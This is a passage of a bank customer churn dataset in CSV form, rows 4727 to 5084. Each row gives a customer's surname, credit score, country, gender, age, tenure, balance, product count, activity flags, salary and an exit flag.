+4727,15721740,Pai,633,Germany,Male,50,7,88302.65,1,1,1,195937.16,0 +4728,15641822,Barese,648,France,Female,19,1,0,2,0,1,22101.86,0 +4729,15765650,Chigolum,501,Germany,Male,40,5,114655.58,1,0,0,126535.92,0 +4730,15788556,Trouette,683,France,Female,42,4,148283.94,1,1,1,44692.63,1 +4731,15576550,Ugochukwu,619,Spain,Female,38,1,0,1,1,0,112442.63,1 +4732,15622230,Cribb,705,France,Female,35,3,0,2,0,1,66331.01,0 +4733,15653937,McIntyre,638,Germany,Female,53,1,123916.67,1,1,0,16657.68,1 +4734,15743538,Pickering,710,France,Female,31,1,0,2,1,0,20081.3,0 +4735,15591740,Fletcher,590,France,Female,54,4,0,2,1,1,93820.49,1 +4736,15650086,Uchenna,725,France,Male,43,2,165896,2,1,0,130795.52,0 +4737,15718773,Pisano,638,France,Female,32,0,0,2,1,0,160129.99,0 +4738,15615140,Corson,791,France,Male,36,6,111168.97,1,1,1,189969.91,0 +4739,15644361,Hooper,702,France,Female,40,1,103549.24,1,0,0,9712.52,1 +4740,15774536,He,607,France,Female,32,6,0,2,0,0,196062.01,0 +4741,15618661,Chidubem,535,France,Male,30,6,103804.97,1,1,1,125710.53,0 +4742,15605020,Schofield,651,France,Male,45,2,165901.59,2,1,0,23054.51,1 +4743,15762134,Liang,506,Germany,Male,59,8,119152.1,2,1,1,170679.74,0 +4744,15685279,Somadina,511,Spain,Female,57,8,122950.31,1,1,1,181258.76,0 +4745,15582849,McIntosh,757,France,Female,51,1,0,1,1,1,22835.13,1 +4746,15655410,Hinton,768,Germany,Male,49,1,133384.66,1,1,0,102397.22,1 +4747,15649129,Sal,757,France,Male,32,9,0,2,1,0,115950.96,0 +4748,15702380,De Luca,663,Spain,Male,64,6,0,2,0,1,15876.52,0 +4749,15759067,Bromby,537,Germany,Female,37,7,158411.95,4,1,1,117690.58,1 +4750,15683027,Chang,570,Germany,Male,29,4,122028.65,2,1,1,173792.77,0 +4751,15597487,Hunter,850,France,Female,35,5,0,1,1,1,80992.8,0 +4752,15763256,Sheppard,661,Germany,Female,64,8,128751.65,2,1,0,189398.18,1 +4753,15620111,Fan,659,France,Male,54,8,133436.52,1,1,0,56787.8,0 +4754,15623053,Muir,454,Spain,Male,40,2,123177.01,1,1,0,148309.98,0 +4755,15595592,Lai,708,France,Female,59,2,0,1,1,0,179673.11,1 +4756,15740072,Padovesi,720,France,Female,37,2,120328.88,2,1,1,138470.21,0 +4757,15778005,Kemp,785,France,Female,39,1,130147.98,1,1,0,163798.41,1 +4758,15583278,Greece,743,Spain,Female,36,8,92716.96,1,1,1,33693.78,0 +4759,15601263,Young,493,Spain,Female,48,7,0,2,1,0,48545.1,0 +4760,15709222,Chukwueloka,557,Spain,Male,34,3,0,1,0,1,123427.98,0 +4761,15713949,Woods,850,France,Male,40,1,76914.21,1,1,0,174183.44,0 +4762,15717706,Forbes,799,France,Female,32,3,106045.92,2,1,1,17938,0 +4763,15756071,Kang,756,France,Male,34,1,103133.26,1,1,1,90059.04,0 +4764,15696564,Nweke,752,France,Male,38,0,145974.79,2,1,1,137694.23,0 +4765,15657637,Ts'ui,696,Spain,Female,36,3,0,3,1,0,65039.9,0 +4766,15755863,Milano,630,Spain,Female,49,1,0,2,0,1,162858.29,0 +4767,15719858,Chao,659,Spain,Female,38,9,0,2,1,1,35701.06,0 +4768,15688876,Wan,685,Spain,Male,39,9,0,2,1,1,18826.06,0 +4769,15698528,Napolitani,599,Spain,Female,31,3,0,1,1,1,130086.47,1 +4770,15770345,Kovaleva,559,Spain,Female,31,1,139183.06,1,0,1,143360.56,0 +4771,15761506,Russell,615,Spain,Male,19,5,0,2,1,0,159920.92,0 +4772,15716619,Chiebuka,580,Germany,Female,36,3,74974.89,1,1,1,12099.67,0 +4773,15788367,Ellis,487,Spain,Male,44,6,61691.45,1,1,1,53087.98,0 +4774,15709451,Gordon,646,Germany,Female,35,1,121952.75,2,1,1,142839.82,0 +4775,15640421,Conway,811,France,Female,35,7,0,1,1,1,178.19,0 +4776,15580068,Buccho,526,Spain,Male,35,5,0,2,1,1,105618.14,0 +4777,15677123,Aksyonova,767,Spain,Male,37,7,0,2,1,1,24734.25,0 +4778,15619801,Batty,548,France,Female,33,1,80107.83,2,0,1,82245.67,0 +4779,15582246,Rowe,737,Spain,Female,45,2,0,2,0,1,177695.67,0 +4780,15711843,Pisani,613,Germany,Male,40,1,147856.82,3,0,0,107961.11,1 +4781,15680046,Onochie,711,Spain,Male,36,8,0,2,1,0,55207.41,0 +4782,15804131,Farmer,850,Spain,Female,53,7,65407.16,2,0,0,182633.63,1 +4783,15722611,Cameron,752,France,Female,53,8,114233.18,1,1,1,51587.04,0 +4784,15729224,Jennings,710,France,Female,37,5,0,2,1,0,115403.31,0 +4785,15811588,Eluemuno,664,Spain,Female,53,7,187602.18,1,1,0,186392.99,1 +4786,15702138,Swift,510,France,Female,22,3,156834.34,1,0,0,44374.44,0 +4787,15749799,Pisani,577,France,Female,34,2,0,2,1,1,84033.35,0 +4788,15752885,Nnonso,529,France,Male,42,1,157498.9,1,1,1,82276.62,0 +4789,15674932,Cameron,757,Spain,Female,44,9,0,2,1,0,177528.92,0 +4790,15743828,Stevens,691,France,Male,41,2,0,1,1,1,56850.92,1 +4791,15642022,Zito,621,Spain,Male,34,8,0,1,0,0,47972.65,0 +4792,15746461,Taylor,709,Spain,Male,35,2,0,2,1,0,104982.39,0 +4793,15809991,Ferrari,756,Spain,Male,19,4,130274.22,1,1,1,133535.29,0 +4794,15787322,Yeh,788,France,Female,41,6,0,1,1,1,25571.37,0 +4795,15575498,Gould,705,France,Female,39,5,149379.66,2,1,0,96075.55,0 +4796,15691387,Agafonova,483,France,Male,29,9,0,1,1,1,81634.45,0 +4797,15765457,Fowler,719,Spain,Male,35,1,100829.94,1,1,1,165008.97,0 +4798,15666173,Chidumaga,793,Germany,Female,32,1,96408.98,1,1,1,138191.81,0 +4799,15627377,Sabbatini,593,France,Male,41,6,0,2,1,1,99136.49,0 +4800,15656683,Johnson,551,France,Male,52,1,0,1,0,0,63584.55,1 +4801,15679810,Chapman,690,France,Male,39,6,0,2,1,0,160532.88,0 +4802,15606310,Birk,823,France,Male,71,5,149105.08,1,0,1,162683.06,0 +4803,15756871,Capon,512,Spain,Male,39,3,0,1,1,0,134878.19,0 +4804,15610002,Chidubem,802,Spain,Male,41,5,0,2,1,1,134626.3,0 +4805,15567802,Childs,450,Spain,Female,34,2,0,2,1,0,175480.93,0 +4806,15745452,Sun,651,Germany,Male,41,1,90218.11,1,1,0,174337.68,0 +4807,15617252,Lung,697,France,Female,33,1,87347.7,1,1,0,172524.51,0 +4808,15753248,Tao,611,France,Male,28,2,0,2,0,0,25395.83,0 +4809,15610755,Napolitano,643,France,Female,33,0,137811.75,1,1,1,184856.89,0 +4810,15662238,Davis,822,France,Male,37,3,105563,1,1,0,182624.93,0 +4811,15799186,Sagese,632,France,Male,38,4,0,2,0,0,192505.62,0 +4812,15686941,Hutchinson,575,Spain,Female,26,7,0,2,1,0,112507.63,0 +4813,15601172,Nelson,672,France,Male,31,6,91125.75,1,1,0,177295.92,0 +4814,15723858,Schiavone,517,Spain,Male,39,3,0,2,0,1,12465.51,0 +4815,15615896,Chienezie,621,Spain,Male,39,8,0,2,1,0,36122.96,0 +4816,15737647,Obioma,775,Germany,Female,77,6,135120.56,1,1,0,37836.64,0 +4817,15582841,Butusov,600,France,Male,29,8,0,2,0,1,34747.43,0 +4818,15760090,Pisano,640,France,Male,28,7,0,2,1,1,131097.9,0 +4819,15588587,Stetson,752,France,Female,36,1,86837.95,1,1,1,105280.55,0 +4820,15683157,Waring,613,France,Male,26,4,100446.57,1,0,1,149653.81,0 +4821,15694209,Fanucci,484,France,Female,32,3,0,2,1,1,139390.99,0 +4822,15655875,Thao,511,France,Female,33,3,0,2,1,0,132436.71,0 +4823,15805704,Murphy,745,France,Female,32,2,0,4,0,1,179705.13,1 +4824,15744789,McConnell,786,Spain,Female,32,6,114512.59,1,1,0,15796.66,0 +4825,15799357,Armfield,727,France,Male,35,5,136364.46,1,0,0,142754.71,0 +4826,15726153,Fanucci,622,France,Male,31,5,106260.67,1,1,1,2578.43,0 +4827,15713346,Panina,794,France,Male,24,10,146126.75,1,1,1,88992.05,0 +4828,15665053,Nixon,636,Spain,Male,52,4,111284.53,1,0,1,32936.44,1 +4829,15592379,Walker,741,Spain,Female,42,9,121056.63,2,1,0,39122.58,0 +4830,15692599,Chiemela,687,France,Male,34,5,128270.56,1,1,0,191092.62,0 +4831,15620758,Martel,660,Spain,Male,30,4,0,2,1,0,129149.06,0 +4832,15637428,Briggs,660,France,Male,35,7,0,2,1,0,13218.6,0 +4833,15808389,Iheatu,617,France,Female,79,7,0,1,1,1,160589.18,0 +4834,15807003,Jennings,762,France,Male,32,10,191775.65,1,1,0,179657.83,0 +4835,15702912,Ch'en,752,Spain,Female,35,2,0,1,1,0,44335.54,1 +4836,15590623,Kovalyov,561,Spain,Male,34,4,85141.79,2,1,1,29217.37,0 +4837,15728078,Yeh,609,France,Male,26,10,126392.18,1,0,1,43651.49,0 +4838,15708256,Chien,803,France,Male,28,3,0,2,1,0,159654,0 +4839,15582335,Brown,556,France,Female,40,9,129860.37,1,0,0,17992.94,0 +4840,15649150,Buddicom,531,France,Female,53,5,127642.44,1,1,0,141501.45,1 +4841,15691647,McGregor,411,France,Female,35,2,0,2,1,1,93825.78,0 +4842,15668270,Thompson,587,Germany,Female,44,5,125584.17,2,1,1,41852.24,1 +4843,15624820,Ross,683,Spain,Male,56,7,50911.21,3,0,0,97629.31,1 +4844,15736254,Ch'ang,654,France,Male,29,2,91955.61,1,1,0,37065.66,0 +4845,15720814,Warren,670,Germany,Female,36,2,84266.44,2,0,0,38614.69,0 +4846,15642997,Uspenskaya,655,France,Female,36,2,147149.59,1,1,1,87816.86,0 +4847,15693200,King,752,France,Female,36,7,0,2,1,0,184866.86,0 +4848,15624596,Trentini,534,France,Female,23,5,104822.45,1,0,1,160176.47,0 +4849,15807167,Konovalova,635,France,Male,42,1,146766.72,2,0,1,164357.1,0 +4850,15660301,Dellucci,491,Germany,Male,70,6,148745.92,2,1,1,17818.33,0 +4851,15593094,Goddard,516,France,Male,27,9,0,1,1,0,142680.64,1 +4852,15618239,Neumann,530,France,Female,48,0,0,1,1,0,85081.09,0 +4853,15574137,Ch'in,687,Spain,Male,35,3,0,2,1,1,176450.19,0 +4854,15614740,Walters,684,France,Female,41,6,135203.81,2,1,1,121967.88,0 +4855,15574071,Muravyova,706,Germany,Male,23,2,93301.97,2,0,1,127187.04,0 +4856,15671148,Barry,490,Germany,Male,33,5,96341,2,0,0,108313.34,0 +4857,15721921,Woolnough,796,France,Male,44,8,165326.2,1,1,1,57205.55,0 +4858,15717995,Keen,849,France,Male,27,0,0,2,0,1,157891.86,0 +4859,15632050,Liebe,779,France,Female,41,10,99786.2,1,1,0,86927.53,0 +4860,15647111,White,794,Spain,Female,22,4,114440.24,1,1,1,107753.07,0 +4861,15759991,Hunter,748,Spain,Male,36,4,141573.55,1,1,0,82158.14,0 +4862,15790204,Myers,663,Spain,Female,22,9,0,1,1,0,29135.89,1 +4863,15686780,Rogova,645,Spain,Female,55,1,133676.65,1,0,1,17095.49,0 +4864,15640491,Raff,464,France,Female,33,10,147493.7,2,1,0,100447.53,0 +4865,15783225,Cocci,737,France,Male,54,9,0,1,1,0,83470.4,1 +4866,15734438,Kanayochukwu,590,France,Female,29,4,0,2,1,0,121846.81,0 +4867,15688760,Obialo,522,Germany,Female,37,3,95022.57,1,1,1,129107.59,0 +4868,15768124,Liu,648,France,Female,34,3,0,1,1,0,54726.43,0 +4869,15661330,Gilbert,754,France,Male,37,6,0,1,1,1,116141.72,0 +4870,15781272,Coles,669,France,Male,50,4,149713.61,3,1,1,124872.42,1 +4871,15573888,Ponomaryov,648,Germany,Female,43,1,107963.38,1,0,0,186438.86,1 +4872,15575858,Bergamaschi,763,France,Male,40,3,0,2,1,0,134281.11,0 +4873,15645937,Guerin,790,Spain,Male,32,3,0,1,1,0,91044.47,0 +4874,15702337,Sinclair,581,France,Male,37,7,0,2,1,1,74320.75,0 +4875,15764537,Dominguez,703,France,Male,43,8,0,2,1,0,9704.66,0 +4876,15619616,Costa,571,France,Female,33,9,102017.25,2,0,0,128600.49,0 +4877,15585133,Wei,657,Spain,Female,27,8,0,2,0,0,6468.24,0 +4878,15573971,Mills,737,France,Male,44,7,0,2,0,0,57898.58,0 +4879,15579433,Pugh,793,Spain,Male,29,8,96674.55,2,0,0,192120.66,0 +4880,15777045,Price,783,Spain,Female,44,3,81811.71,1,1,0,164213.53,1 +4881,15611580,Wood,751,Spain,Male,33,4,79281.61,1,1,0,117547.76,0 +4882,15614778,Robertson,579,France,Male,31,6,0,2,1,0,26149.25,0 +4883,15771750,Sawtell,655,Germany,Female,36,10,122314.39,1,1,0,9181.66,0 +4884,15593280,Yuryeva,614,Germany,Male,43,8,140733.74,1,1,1,166588.76,0 +4885,15569274,Pisano,678,Germany,Male,49,2,116933.11,1,1,0,195053.58,1 +4886,15654408,Kharitonova,562,Spain,Male,41,5,165445.04,2,1,0,85787.31,0 +4887,15657468,Simmons,711,Germany,Female,53,5,123805.03,1,1,0,102428.51,0 +4888,15614213,Muramats,620,France,Male,37,0,107548.94,1,1,0,71175.94,0 +4889,15589869,Tang,437,France,Male,49,9,111634.29,2,0,1,166440.32,0 +4890,15693205,Peng,691,Germany,Female,41,8,109153.96,3,1,1,148848.76,1 +4891,15797113,Bevan,552,Spain,Female,34,4,0,2,1,0,140286.69,0 +4892,15676958,Zito,765,Germany,Male,34,5,86055.17,2,1,1,104220.5,0 +4893,15739592,Sokolov,707,Germany,Female,51,10,98438.23,1,0,0,70778.63,1 +4894,15656263,Teng,764,Spain,Male,29,5,0,2,1,0,65868.28,0 +4895,15636872,Amadi,585,France,Female,32,8,144705.87,2,0,0,171482.56,0 +4896,15589435,Davide,784,France,Male,31,7,0,2,1,1,143204.41,0 +4897,15640464,Parkes,605,France,Male,41,5,91612.91,1,1,1,28427.84,0 +4898,15723851,Mazzanti,699,Spain,Male,40,2,0,1,1,0,78387.32,0 +4899,15722122,Findlay,544,France,Female,40,7,0,1,0,1,161076.92,0 +4900,15696852,Hsu,803,France,Female,32,9,192122.84,1,1,1,54277.45,1 +4901,15634936,Chukwukadibia,735,France,Male,41,7,179904,1,1,1,137180.95,0 +4902,15575935,Baxter,673,France,Male,59,0,178058.06,2,0,1,21063.71,1 +4903,15634491,Kung,652,France,Male,30,2,176166.56,2,1,1,152210.81,0 +4904,15628530,Booth,694,France,Male,42,3,156864.2,2,0,0,88890.75,0 +4905,15678720,Evans,741,France,Female,44,7,0,2,1,1,190534.76,0 +4906,15627999,Kung,590,Spain,Male,30,3,0,2,1,0,83090.35,0 +4907,15571244,Tung,809,Spain,Female,33,3,0,2,0,1,141426.78,0 +4908,15739931,Yuan,523,France,Male,34,2,161588.89,1,1,1,51358.66,0 +4909,15806256,Jackson,540,France,Male,48,2,109349.29,1,1,0,88703.04,1 +4910,15787258,Ross,596,Spain,Female,29,6,0,2,1,0,116696.77,0 +4911,15706463,Yang,597,France,Female,36,9,0,2,1,1,7156.09,0 +4912,15691004,Yu,407,Spain,Male,37,1,0,1,1,1,49161.12,1 +4913,15792228,Onwumelu,748,France,Male,60,0,152335.7,1,1,0,126743.33,1 +4914,15733447,Gay,562,France,Female,51,1,124662.54,1,1,1,65390.46,1 +4915,15679062,Morrison,734,Germany,Female,47,10,91522.04,2,1,1,138835.91,0 +4916,15594409,Belov,710,France,Male,45,1,0,2,1,1,36154.66,0 +4917,15613816,Mao,539,Spain,Female,39,6,62052.28,1,0,1,59755.14,0 +4918,15681991,Walsh,542,France,Male,32,7,107871.72,1,1,0,125302.64,0 +4919,15796074,Bruno,717,France,Female,36,2,99472.76,2,1,0,94274.72,1 +4920,15625941,Gray,682,Spain,Female,50,10,128039.01,1,1,1,102260.16,0 +4921,15615016,Maurer,515,France,Male,33,2,0,2,1,1,136028.97,0 +4922,15748414,Chiang,526,Spain,Female,33,8,114634.63,2,1,0,110114.38,1 +4923,15751203,Cattaneo,702,France,Male,26,5,56738.47,2,1,1,100442.22,1 +4924,15662658,Grieve,651,Germany,Male,34,2,90355.12,2,0,0,193597.94,0 +4925,15574868,Lowell,792,Germany,Male,36,5,115725.24,2,0,0,1871.25,0 +4926,15790282,Trentino,817,Germany,Male,58,3,114327.59,2,1,1,42831.11,0 +4927,15762927,Sung,674,Germany,Female,36,6,100762.64,1,1,0,182156.86,0 +4928,15803456,Yen,641,France,Female,40,9,0,1,0,0,151648.66,1 +4929,15771857,Philipp,513,Spain,Male,39,7,89039.9,2,1,1,146738.83,0 +4930,15700601,Dynon,561,France,Male,34,1,78829.53,1,1,1,12148.2,0 +4931,15569670,Alexeyeva,627,Germany,Male,30,6,112372.96,1,1,1,118029.09,0 +4932,15772341,Hs?eh,682,Germany,Male,81,6,122029.15,1,1,1,50783.88,0 +4933,15661548,Ferri,683,France,Female,29,0,157829.12,1,0,0,129891.66,0 +4934,15787597,Hsu,420,Germany,Female,31,1,108377.75,2,1,1,9904.63,0 +4935,15806913,Bishop,670,France,Female,54,2,95507.12,1,1,1,63213.31,0 +4936,15804862,Toscani,505,Germany,Male,43,6,127146.68,1,0,0,137565.87,0 +4937,15792986,T'ao,580,Germany,Male,24,1,133811.78,1,1,0,17185.95,1 +4938,15625632,Philip,577,France,Male,36,3,121092.47,2,0,1,143783.46,0 +4939,15727703,Li Fonti,773,Germany,Male,34,10,126979.75,1,0,0,36823.28,0 +4940,15606273,Rene,616,France,Male,37,5,144235.73,2,0,0,154957.66,1 +4941,15799652,Daigle,763,France,Female,38,0,152582.2,2,0,0,31892.82,0 +4942,15715047,Joshua,640,Spain,Male,43,9,172478.15,1,1,0,191084.4,1 +4943,15784687,Simmons,592,France,Male,36,1,126477.42,1,0,0,179718.17,0 +4944,15615322,Jamieson,528,Spain,Male,43,7,97473.87,2,1,1,159823.16,0 +4945,15722072,Hou,630,France,Male,53,5,138053.67,1,0,1,114110.97,0 +4946,15646784,Cochran,529,France,Female,31,2,164003.05,2,1,1,60993.23,0 +4947,15644692,Bibb,546,France,Female,47,8,0,1,1,1,66408.01,1 +4948,15670354,Jen,753,France,Female,62,6,0,2,1,1,136398.9,0 +4949,15716357,Corran,772,Spain,Female,39,4,122486.11,2,1,1,140709.25,0 +4950,15786717,He,567,France,Male,36,1,0,2,0,0,8555.73,0 +4951,15771383,Loggia,628,Germany,Female,45,6,53667.44,1,1,0,115022.94,0 +4952,15649793,Lovely,658,France,Male,20,7,0,2,0,0,187638.34,0 +4953,15731543,Becker,679,Spain,Male,58,9,109327.65,1,1,1,3829.13,0 +4954,15684516,Plascencia,629,Spain,Male,34,1,121151.05,1,0,0,119357.93,0 +4955,15677249,Somadina,731,Spain,Male,42,9,101043.63,1,1,1,192175.52,0 +4956,15581525,Walker,775,Germany,Male,33,3,83501.66,2,1,0,128841.31,0 +4957,15628420,Alekseeva,660,Spain,Male,33,2,80462.24,1,0,0,150422.35,0 +4958,15600478,Watson,752,France,Male,39,3,0,1,1,0,188187.05,0 +4959,15594502,Zotov,655,France,Male,37,6,109093.41,2,1,0,1775.52,0 +4960,15784361,Williamson,543,Spain,Female,46,5,140355.6,1,1,1,85086.78,0 +4961,15767626,Carpenter,811,France,Male,42,10,0,2,1,1,3797.79,0 +4962,15632521,Cattaneo,689,Germany,Male,45,0,130170.82,2,1,0,150856.38,0 +4963,15665088,Gordon,531,France,Female,42,2,0,2,0,1,90537.47,0 +4964,15652084,Boni,515,France,Male,40,0,109542.29,1,1,1,166370.81,0 +4965,15574761,Lynch,466,France,Female,41,3,33563.95,2,1,0,178994.13,1 +4966,15729515,McCarthy,782,France,Male,36,1,148795.17,2,1,1,195681.43,0 +4967,15682070,Davies,611,France,Male,64,9,0,2,1,1,53277.15,0 +4968,15743817,Hargreaves,621,Germany,Male,40,8,174126.75,3,1,0,172490.78,1 +4969,15572158,Blackburn,604,Spain,Male,41,3,0,1,0,0,11819.84,0 +4970,15584477,K?,655,Spain,Female,35,1,106405.03,1,1,1,82900.25,0 +4971,15614893,Meng,689,Spain,Male,38,2,0,1,1,1,82709.8,0 +4972,15665963,Cattaneo,681,Spain,Male,30,2,128393.29,1,1,1,180593.45,0 +4973,15612524,Hunt,643,Germany,Male,41,2,127841.52,1,1,0,172363.41,0 +4974,15596962,Owens,617,France,Female,24,4,137295.19,2,1,1,91195.12,0 +4975,15744942,Steele,638,Spain,Female,55,2,155828.22,1,0,1,108987.25,1 +4976,15573278,Kennedy,743,France,Male,39,6,0,2,1,0,44265.28,0 +4977,15717056,Pan,828,Germany,Female,25,7,144351.86,1,1,0,116613.26,0 +4978,15795881,Alexander,776,Spain,Male,35,8,106365.29,1,1,1,148527.56,0 +4979,15758939,Bray,540,Germany,Male,35,7,127801.88,1,0,1,84239.46,0 +4980,15792250,Nnabuife,616,Germany,Female,45,4,122793.96,1,1,1,62002.04,0 +4981,15740406,Padovesi,628,Germany,Male,38,10,113525.84,1,1,0,46044.48,1 +4982,15768137,Bray,667,Spain,Female,23,6,136100.69,2,0,0,169669.33,1 +4983,15569120,Lucas,615,France,Male,30,7,0,2,1,1,156346.84,0 +4984,15723721,Tinline,543,France,Male,30,4,140916.81,1,1,0,157711.18,0 +4985,15777122,Esomchi,553,France,Female,31,4,0,2,1,1,89087.4,0 +4986,15742681,Liao,554,Germany,Male,26,4,121365.39,1,1,1,8742.36,0 +4987,15582090,Iroawuchi,684,Spain,Female,36,4,0,1,1,0,117038.96,0 +4988,15711254,Retana,452,France,Female,35,7,0,2,1,0,164241.67,0 +4989,15775067,Fang,606,France,Male,47,3,93578.68,2,0,1,137720.56,1 +4990,15602851,Ozioma,629,France,Male,40,9,0,1,1,0,106.67,0 +4991,15802857,Robson,659,Spain,Female,33,8,115409.6,1,0,1,1539.21,0 +4992,15701175,Bruno,493,France,Female,33,8,90791.69,1,1,1,59659.53,0 +4993,15783019,Price,794,France,Female,62,9,123681.32,3,1,0,173586.63,1 +4994,15728912,Swanson,554,France,Female,44,6,92436.86,1,1,0,126033.9,0 +4995,15585580,Chang,796,Germany,Female,52,9,167194.36,1,1,1,62808.93,1 +4996,15583480,Morgan,807,France,Female,36,4,0,2,0,1,147007.33,0 +4997,15620341,Nwebube,500,Germany,Male,44,9,160838.13,2,1,0,196261.64,0 +4998,15613886,Trevisan,722,Spain,Male,43,1,0,1,1,0,44560.17,1 +4999,15792916,Ositadimma,559,Spain,Female,40,7,144470.77,1,1,1,18917.95,0 +5000,15710408,Cunningham,584,Spain,Female,38,3,0,2,1,1,4525.4,0 +5001,15598695,Fields,834,Germany,Female,68,9,130169.27,2,0,1,93112.2,0 +5002,15649354,Johnston,754,Spain,Male,35,4,0,2,1,1,9658.41,0 +5003,15737556,Vasilyev,590,France,Male,43,7,81076.8,2,1,1,182627.25,1 +5004,15671610,Hooper,740,France,Male,36,7,0,1,1,1,13177.4,0 +5005,15625092,Colombo,502,Germany,Female,57,3,101465.31,1,1,0,43568.31,1 +5006,15741032,Tsao,733,France,Male,48,5,0,1,0,1,117830.57,0 +5007,15750014,Chikere,755,Germany,Female,37,0,113865.23,2,1,1,117396.25,0 +5008,15784761,Ballard,554,Spain,Female,46,7,87603.35,3,0,1,96929.24,1 +5009,15768359,Akhtar,534,France,Male,36,4,120037.96,1,1,0,36275.94,0 +5010,15805769,O'Loughlin,656,Spain,Male,33,4,0,2,1,0,116706,0 +5011,15719508,Davis,575,Germany,Male,49,7,121205.15,4,1,1,168080.53,1 +5012,15609011,Barry,480,Spain,Male,47,8,75408.33,1,1,0,25887.89,1 +5013,15703106,K'ung,575,France,Male,40,5,0,2,1,1,122488.59,0 +5014,15626795,Gorman,672,France,Female,40,3,0,1,1,0,113171.61,1 +5015,15773731,John,758,Spain,Female,35,5,0,2,0,0,100365.51,0 +5016,15756196,Tsou,682,France,Male,50,6,121818.84,2,0,1,124151.37,0 +5017,15687903,Okonkwo,501,France,Female,29,8,0,2,1,0,112664.24,0 +5018,15777599,Esposito,746,Germany,Male,34,6,141806,2,1,1,183494.87,0 +5019,15754577,Boni,556,France,Female,51,8,61354.14,1,1,0,198810.65,1 +5020,15584113,Pratt,823,Germany,Female,53,4,124954.94,1,0,1,131259.6,1 +5021,15669589,Page,491,Germany,Female,68,1,95039.12,1,0,1,116471.14,1 +5022,15632793,Wilkinson,638,France,Female,29,9,103417.74,1,1,1,15336.4,0 +5023,15711130,Tseng,734,France,Male,45,2,0,2,1,0,99593.28,0 +5024,15615254,Clark,555,France,Male,40,10,43028.77,1,1,0,170514.21,0 +5025,15720583,Finch,745,Germany,Female,44,0,119638.21,1,1,1,34265.08,1 +5026,15780432,Shen,728,France,Male,37,3,122689.51,2,0,0,106977.53,1 +5027,15673223,Hou,626,France,Male,44,10,0,2,0,0,164287.86,0 +5028,15807989,Wall,681,Germany,Male,37,8,73179.34,2,1,1,25292.53,0 +5029,15761168,Manna,478,France,Female,38,4,171913.87,1,1,0,51820.87,1 +5030,15651272,Reyes,709,France,Male,38,5,0,2,1,1,81452.29,0 +5031,15812832,Jideofor,562,Germany,Male,33,8,92659.2,2,1,0,1354.25,0 +5032,15680517,Sal,769,Germany,Female,34,7,137239.17,1,1,1,71379.92,1 +5033,15750569,Iweobiegbunam,684,Germany,Female,46,3,102955.14,2,1,0,154137.33,0 +5034,15690743,Shao,536,France,Female,61,8,65190.29,1,1,1,64308.49,1 +5035,15627741,Heath,631,Germany,Female,29,2,96863.52,2,1,1,31613.35,0 +5036,15712121,Chidimma,657,Spain,Male,34,5,154983.98,1,1,0,27738.01,0 +5037,15805429,Murray,699,Germany,Male,59,3,106819.65,1,0,1,163570.25,0 +5038,15814923,Sullivan,606,Spain,Male,38,7,128578.52,1,1,1,193878.51,0 +5039,15589230,Wu,612,France,Female,63,2,126473.33,1,0,1,147545.65,0 +5040,15775490,Downie,660,France,Female,38,5,110570.78,2,1,0,195906.59,0 +5041,15749727,Chukwufumnanya,829,Spain,Male,50,7,0,2,0,1,178458.86,0 +5042,15619238,Allan,567,Spain,Male,29,8,0,2,1,0,156125.72,0 +5043,15593468,Findlay,850,France,Female,33,3,0,2,1,1,11159.19,0 +5044,15718454,Ch'eng,712,Spain,Female,44,2,0,2,0,0,45738.94,0 +5045,15789498,Miller,562,France,Male,30,3,111099.79,2,0,0,140650.19,0 +5046,15744691,Tsai,755,France,Female,29,3,0,3,1,0,4733.94,0 +5047,15708289,Graham,793,Spain,Male,25,3,100913.57,1,0,0,10579.72,0 +5048,15790412,Norton,471,Spain,Male,26,8,0,2,1,1,179655.87,0 +5049,15741416,Yegorov,707,France,Male,42,2,16893.59,1,1,1,77502.56,0 +5050,15598894,Holt,784,Spain,Male,38,10,122267.85,1,0,0,145759.93,0 +5051,15663294,Kao,703,France,Male,32,1,125685.79,1,1,1,56246.72,0 +5052,15572728,Ross,704,Spain,Male,36,8,127397.34,1,1,0,151335.24,0 +5053,15706729,Hsiao,662,France,Male,38,0,105271.56,1,0,1,179833.45,0 +5054,15674433,Allan,636,Germany,Female,28,2,115265.14,1,0,0,191627.85,0 +5055,15641170,Liang,640,Spain,Male,36,4,0,1,0,0,173016.46,0 +5056,15806284,Briggs,739,Spain,Male,31,1,0,2,1,1,58469.75,0 +5057,15690958,Cantrell,767,Germany,Male,23,2,139542.82,1,0,1,28038.28,0 +5058,15606386,Wang,753,Germany,Female,46,3,111512.75,3,1,0,159576.75,1 +5059,15682322,Aksenov,714,France,Male,37,9,148466.93,2,0,1,151280.96,0 +5060,15579915,Glennon,707,France,Male,29,4,0,2,1,0,139953.94,0 +5061,15681928,Yancy,577,France,Female,35,4,108155.49,1,1,0,105407.79,0 +5062,15734005,Mazzi,633,France,Female,42,1,0,2,1,0,56865.62,0 +5063,15650432,Liu,849,Germany,Male,41,10,84622.13,1,1,1,198072.16,0 +5064,15592578,Nucci,614,Spain,Female,41,7,146997.64,2,0,0,137791.18,0 +5065,15671243,Y?,558,France,Female,47,9,0,2,1,0,103787.28,0 +5066,15775709,Nucci,832,France,Female,27,10,98590.25,1,1,0,30912.89,0 +5067,15702631,Tang,567,France,Female,26,2,0,2,1,1,78651.55,0 +5068,15602282,Kao,587,Germany,Female,45,8,134980.74,1,1,1,123309.57,1 +5069,15717879,Chen,712,Spain,Female,79,5,108078.56,1,1,1,174118.93,0 +5070,15740878,Yao,655,Spain,Female,29,9,0,2,0,1,85736.26,0 +5071,15794468,Tsou,641,France,Female,42,6,0,2,0,0,121138.77,0 +5072,15773277,Barnes,676,France,Male,35,5,106836.67,2,1,0,84199.78,0 +5073,15572657,H?,472,France,Male,29,8,102490.27,1,0,1,181224.56,0 +5074,15800295,Cruz,644,Germany,Male,34,9,112746.54,2,0,0,141230.07,0 +5075,15672397,Smith,598,France,Male,38,0,125487.89,1,0,0,158111.71,0 +5076,15684921,Onuchukwu,792,Spain,Male,25,8,142862.21,1,1,1,130639.01,0 +5077,15720676,Bukowski,700,France,Female,37,7,0,2,1,0,17040.82,0 +5078,15731829,Simmons,616,France,Male,34,10,0,2,1,0,25662.27,0 +5079,15732672,Stewart,743,Spain,Male,35,6,79388.33,1,1,1,193360.69,0 +5080,15692406,Gow,427,France,Male,37,5,0,2,1,1,121485.1,0 +5081,15764405,Williams,731,France,Male,29,10,0,2,1,1,162452.65,0 +5082,15757537,Francis,610,France,Female,31,6,107784.65,1,1,1,141137.53,0 +5083,15793307,Calabresi,724,Spain,Female,41,4,142880.28,3,0,0,185541.2,1 +5084,15660679,Chimaobim,653,Spain,Female,38,9,149571.94,1,1,0,118383.18,0 